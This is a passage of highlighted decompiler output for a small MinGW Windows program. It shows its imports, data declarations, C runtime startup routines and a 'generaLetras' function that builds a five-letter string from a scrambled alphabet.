</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// size_t __cdecl strlen(const char *Str);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void *__cdecl memcpy(void *, const void *Src, size_t Size);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl cexit();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __fastcall amsg_exit(_QWORD); weak
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl initterm(_PVFV *First, _PVFV *Last);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl __noreturn exit(int Code);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int printf(const char *const Format, ...);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int sprintf(char *const Buffer, const char *const Format, ...);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl _setusermatherr(_UserMathErrorFunctionPointer UserMathErrorFunction);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// FILE *__cdecl _iob_func();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int fprintf(FILE *const Stream, const char *const Format, ...);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// size_t __cdecl fwrite(const void *Buffer, size_t ElementSize, size_t ElementCount, FILE *Stream);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int __cdecl vfprintf(FILE *const Stream, const char *const Format, va_list ArgList);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl __noreturn abort();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// _crt_signal_t __cdecl signal(int Signal, _crt_signal_t Function);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __fastcall lock(_QWORD); weak
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __fastcall _dllonexit(_QWORD, _QWORD, _QWORD); weak
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __fastcall unlock(_QWORD); weak
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int __cdecl strncmp(const char *Str1, const char *Str2, size_t MaxCount);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void *__cdecl calloc(size_t Count, size_t Size);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl free(void *Block);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int __fastcall main(int flags, char **cmdline, char **inst); idb
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __fastcall _IAT_start__(_QWORD, _QWORD, _QWORD); weak
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __lconv_init(void); weak
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//-------------------------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Data declarations
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>func_ptr <span style="color:#f92672">*</span>p_73208 <span style="color:#f92672">=</span> (func_ptr <span style="color:#f92672">*</span>)<span style="color:#ae81ff">0x403338LL</span>; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>UINT_PTR _security_cookie <span style="color:#f92672">=</span> <span style="color:#ae81ff">47936899621426uLL</span>; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>UINT_PTR _security_cookie_complement <span style="color:#f92672">=</span> <span style="color:#ae81ff">18446696136809930189uLL</span>; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> aSfmsilqzdxajhn[<span style="color:#ae81ff">53</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"sfMSiLQzdXajhnZKrPyAoHbTDNREWtuVOcGIxkYemgBClvwFUpqJ"</span>; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> EXCEPTION_POINTERS GS_ExceptionPointers <span style="color:#f92672">=</span> { <span style="color:#f92672">&</span>GS_ExceptionRecord, <span style="color:#f92672">&</span>GS_ContextRecord }; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr__CRT_MT <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>CRT_MT; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr__MINGW_INSTALL_DEBUG_MATHERR <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>MINGW_INSTALL_DEBUG_MATHERR; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">__int64</span> (<span style="color:#f92672">*</span>refptr___CTOR_LIST__)[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>__CTOR_LIST__; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_UNKNOWN <span style="color:#f92672">*</span>refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>_RUNTIME_PSEUDO_RELOC_LIST_END___0; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_UNKNOWN <span style="color:#f92672">*</span>refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>_RUNTIME_PSEUDO_RELOC_LIST_END___0; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> PBYTE refptr___image_base__ <span style="color:#f92672">=</span> (<span style="color:#66d9ef">const</span> PBYTE)<span style="color:#ae81ff">0x400000LL</span>; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>_UNKNOWN <span style="color:#f92672">*</span>refptr___imp__fmode <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>_fmode; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_UNKNOWN <span style="color:#f92672">*</span>refptr___imp__onexit <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>_onexit; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">__int64</span> <span style="color:#f92672">*</span>refptr___onexitbegin <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>_onexitbegin; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">__int64</span> <span style="color:#f92672">*</span>refptr___onexitend <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>_onexitend; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr__dowildcard <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>dowildcard; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr__fmode <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>fmode; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr__newmode <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>newmode; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr_mingw_app_type <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>mingw_app_type; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr_mingw_initcharmax <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>mingw_initcharmax; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr_mingw_initltsdrot_force <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>mingw_initltsdrot_force; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr_mingw_initltsdyn_force <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>mingw_initltsdyn_force; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>refptr_mingw_initltssuo_force <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>mingw_initltssuo_force; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_startupinfo _bss_start__; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> managedapp; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> argret; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> argc; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>fUserMathErr stUserMathErr; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> was_init_73980; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> maxSections; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>sSecInfo <span style="color:#f92672">*</span>the_secs; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> was_here_73812; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>UNWIND_INFO emu_xdata[<span style="color:#ae81ff">32</span>]; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>RUNTIME_FUNCTION emu_pdata[<span style="color:#ae81ff">32</span>]; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> initialized; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>CONTEXT GS_ContextRecord; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>EXCEPTION_RECORD GS_ExceptionRecord; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">volatile</span> __mingwthr_key_t <span style="color:#f92672">*</span>key_dtor_list; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">volatile</span> <span style="color:#66d9ef">int</span> _mingwthr_cs_init; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>CRITICAL_SECTION _mingwthr_cs; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span>handler)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>); <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>_PVFV <span style="color:#f92672">*</span>_onexitbegin; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span>_PVFV <span style="color:#f92672">*</span>_onexitend; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *EnterCriticalSection)(LPCRITICAL_SECTION lpCriticalSection);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern HANDLE (__stdcall *GetCurrentProcess)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *GetCurrentProcessId)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *GetCurrentThreadId)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *GetLastError)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *GetSystemTimeAsFileTime)(LPFILETIME lpSystemTimeAsFileTime);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *GetTickCount)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *InitializeCriticalSection)(LPCRITICAL_SECTION lpCriticalSection);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *LeaveCriticalSection)(LPCRITICAL_SECTION lpCriticalSection);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *QueryPerformanceCounter)(LARGE_INTEGER *lpPerformanceCount);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOLEAN (__cdecl *RtlAddFunctionTable)(PRUNTIME_FUNCTION FunctionTable, ULONG EntryCount, ULONG64 BaseAddress);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *RtlCaptureContext)(PCONTEXT ContextRecord);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern PRUNTIME_FUNCTION (__stdcall *RtlLookupFunctionEntry)(ULONG64 ControlPc, PULONG64 ImageBase, PUNWIND_HISTORY_TABLE HistoryTable);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern PEXCEPTION_ROUTINE (__stdcall *RtlVirtualUnwind)(ULONG HandlerType, ULONG64 ImageBase, ULONG64 ControlPc, PRUNTIME_FUNCTION FunctionEntry, PCONTEXT ContextRecord, PVOID *HandlerData, PULONG64 EstablisherFrame, PKNONVOLATILE_CONTEXT_POINTERS ContextPointers);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern LPTOP_LEVEL_EXCEPTION_FILTER (__stdcall *SetUnhandledExceptionFilter)(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *TerminateProcess)(HANDLE hProcess, UINT uExitCode);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern LPVOID (__stdcall *TlsGetValue)(DWORD dwTlsIndex);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern LONG (__stdcall *UnhandledExceptionFilter)(struct _EXCEPTION_POINTERS *ExceptionInfo);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern SIZE_T (__stdcall *VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern HWND (__stdcall *CreateDialogParamA)(HINSTANCE hInstance, LPCSTR lpTemplateName, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern LRESULT (__stdcall *DispatchMessageA)(const MSG *lpMsg);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *EndDialog)(HWND hDlg, INT_PTR nResult);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern UINT (__stdcall *GetDlgItemTextA)(HWND hDlg, int nIDDlgItem, LPSTR lpString, int cchMax);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *GetMessageA)(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *IsDialogMessageA)(HWND hDlg, LPMSG lpMsg);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern HMENU (__stdcall *LoadMenuA)(HINSTANCE hInstance, LPCSTR lpMenuName);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern int (__stdcall *MessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *SetMenu)(HWND hWnd, HMENU hMenu);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *ShowWindow)(HWND hWnd, int nCmdShow);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *TranslateMessage)(const MSG *lpMsg);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401010) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">pre_c_init</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _BOOL8 v0; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int16</span> v4; <span style="color:#75715e">// cx
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LODWORD</span>(v0) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr_mingw_initltsdrot_force <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr_mingw_initltsdyn_force <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr_mingw_initltssuo_force <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr_mingw_initcharmax <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___image_base__ <span style="color:#f92672">==</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[<span style="color:#f92672">*</span>(refptr___image_base__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>)];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v3 <span style="color:#f92672">==</span> <span style="color:#ae81ff">17744</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">12</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">==</span> <span style="color:#ae81ff">267</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">29</span>) <span style="color:#f92672">></span> <span style="color:#ae81ff">0xEu</span> )
</span></span><span style="display:flex;"><span> v0 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">58</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">==</span> <span style="color:#ae81ff">523</span> <span style="color:#f92672">&&</span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">33</span>) <span style="color:#f92672">></span> <span style="color:#ae81ff">0xEu</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v0 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">62</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> managedapp <span style="color:#f92672">=</span> v0;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr_mingw_app_type )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_set_app_type</span>(_crt_gui_app);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_set_app_type</span>(_crt_console_app);
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">encode_pointer</span>(<span style="color:#ae81ff">0xFFFFFFFFFFFFFFFFLL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr___onexitend <span style="color:#f92672">=</span> v1;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr___onexitbegin <span style="color:#f92672">=</span> v1;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">**</span>refptr___imp__fmode <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>refptr__fmode;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">setargv</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr__MINGW_INSTALL_DEBUG_MATHERR <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_mingw_setusermatherr</span>(matherr);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405370: using guessed type int *refptr__MINGW_INSTALL_DEBUG_MATHERR;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 4053F0: using guessed type _UNKNOWN *refptr___imp__fmode;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405470: using guessed type __int64 *refptr___onexitbegin;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405480: using guessed type __int64 *refptr___onexitend;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 4054E0: using guessed type int *refptr__fmode;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405520: using guessed type int *refptr_mingw_app_type;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405530: using guessed type int *refptr_mingw_initcharmax;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405540: using guessed type int *refptr_mingw_initltsdrot_force;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405550: using guessed type int *refptr_mingw_initltsdyn_force;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405560: using guessed type int *refptr_mingw_initltssuo_force;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401160) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">pre_cpp_init</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _bss_start__.newmode <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>refptr__newmode;
</span></span><span style="display:flex;"><span> argret <span style="color:#f92672">=</span> <span style="color:#a6e22e">_getmainargs</span>(<span style="color:#f92672">&</span>argc, <span style="color:#f92672">&</span>argv, <span style="color:#f92672">&</span>envp, <span style="color:#f92672">*</span>refptr__dowildcard, <span style="color:#f92672">&</span>_bss_start__);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 4030D0: using guessed type __int64 __fastcall _getmainargs(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 4054D0: using guessed type int *refptr__dowildcard;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405510: using guessed type int *refptr__newmode;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401500) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">mainCRTStartup</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr_mingw_app_type <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_security_init_cookie</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_tmainCRTStartup</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405520: using guessed type int *refptr_mingw_app_type;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401530) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">generaLetras</span>(<span style="color:#66d9ef">int</span> a1, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v2; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>result; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// [rsp+28h] [rbp-58h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// [rsp+2Ch] [rbp-54h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v6; <span style="color:#75715e">// [rsp+30h] [rbp-50h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// [rsp+34h] [rbp-4Ch]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> (a1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>) <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"sfMSiLQzdXajhnZKrPyAoHbTDNREWtuVOcGIxkYemgBClvwFUpqJ"</span>);
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> (a1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">22</span>) <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"sfMSiLQzdXajhnZKrPyAoHbTDNREWtuVOcGIxkYemgBClvwFUpqJ"</span>);
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> (a1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">32</span>) <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"sfMSiLQzdXajhnZKrPyAoHbTDNREWtuVOcGIxkYemgBClvwFUpqJ"</span>);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> (a1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">17</span>) <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"sfMSiLQzdXajhnZKrPyAoHbTDNREWtuVOcGIxkYemgBClvwFUpqJ"</span>);
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"sfMSiLQzdXajhnZKrPyAoHbTDNREWtuVOcGIxkYemgBClvwFUpqJ"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>a2 <span style="color:#f92672">=</span> aSfmsilqzdxajhn[v7];
</span></span><span style="display:flex;"><span> a2[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> aSfmsilqzdxajhn[v6];
</span></span><span style="display:flex;"><span> a2[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> aSfmsilqzdxajhn[v5];
</span></span><span style="display:flex;"><span> a2[<span style="color:#ae81ff">3</span>] <span style="color:#f92672">=</span> aSfmsilqzdxajhn[v4];
</span></span><span style="display:flex;"><span> a2[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">=</span> aSfmsilqzdxajhn[((a1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">%</span> v2)];
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a2 <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span>;
</span></span><span style="display:flex;"><span> a2[<span style="color:#ae81ff">5</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004016AD) ----------------------------------------------------
